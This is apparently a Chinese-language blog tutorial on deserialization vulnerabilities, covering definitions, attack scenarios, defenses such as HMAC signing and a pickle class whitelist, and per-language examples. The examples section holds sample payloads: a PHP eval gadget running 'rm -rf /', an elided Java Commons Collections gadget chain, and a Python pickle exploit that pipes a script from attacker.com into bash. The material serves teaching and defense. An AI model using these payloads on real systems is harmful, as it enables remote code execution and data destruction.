点我

反序列化漏洞

deserialization-infographic.jpg

一、定义

序列化(Serialization)

  • 定义:将程序中的对象(如用户信息、商品数据)转换为可以存储或传输的格式(字符串/二进制)
  • 类比:把乐高模型拆解成零件清单
  • 常见格式

    • JSON:{"name": "Alice", "age": 25}
    • XML:<user><name>Alice</name><age>25</age></user>
    • 二进制格式(Java的Serializable,Python的pickle)

反序列化(Deserialization)

  • 定义:将序列化的数据还原为程序可操作的对象
  • 类比:用零件清单重新拼装乐高模型
  • 关键点:恢复数据的同时可能恢复对象的方法和属性

二、反序列化漏洞的原理

  • 程序接受不可信的序列化数据。
  • 反序列化过程自动执行特定方法(如PHP的__wakeup(),Java的readObject())。
  • 攻击者可以控制输入的内容。

危险操作举例:

// Java示例:危险的反序列化代码
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();  // 可能执行恶意代码

注意:

  • 本质上在PHP中serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
  • 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

反序列化漏洞是Web安全领域的高危漏洞类型,其核心在于程序过度信任用户输入的序列化数据。

三、危害

  • 完全控制服务器(通过RCE)。
  • 数据库信息泄露(如用户密码、支付信息)。
  • 植入后门程序。
  • 发起内网渗透攻击。
  • 企业敏感数据泄露。

四、攻击场景

Web应用

  • Cookie中存储序列化的用户信息
  • API接口接收序列化参数
  • 文件上传功能(如上传包含序列化数据的配置文件)

分布式系统

  • RPC(远程过程调用)
  • 消息队列(RabbitMQ, Kafka)
  • 缓存系统(Redis, Memcached)

文件传输

  • 办公文档(如Word/Excel的OLE对象)
  • 游戏存档文件
  • 应用程序配置文件

五、防护措施

输入验证

  • 校验数据签名
  • 使用HMAC验证数据完整性

安全配置

  • 禁用危险的反序列化方法
  • 使用JSON等简单格式替代二进制序列化

白名单机制

# Python安全示例:使用SafeUnpickler
import pickle

class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in ["__main__", "safe_module"]:
            raise pickle.UnpicklingError("Unsafe class")
        return super().find_class(module, name)

安全工具

  • Java:使用SerialKiller替换ObjectInputStream
  • .NET:使用JSON.NET代替BinaryFormatter

监控措施

  • 记录反序列化异常日志
  • 使用RASP(运行时应用自我保护)技术

六、不同编程语言的案例

PHP(__wakeup魔术方法)

class VulnerableClass {
    public $data = "echo 'Hello World';";
    
    public function __wakeup() {
        eval($this->data);
    }
}

// 攻击payload
$obj = new VulnerableClass();
$obj->data = "system('rm -rf /');";
$serialized = serialize($obj);

Java(Apache Commons Collections)

// 构造恶意Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("invoke", ...),
    new InvokerTransformer("exec", ...)
};

Python(pickle模块)

import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit()))
分类: WEB安全

评论

-- 评论已关闭 --

目录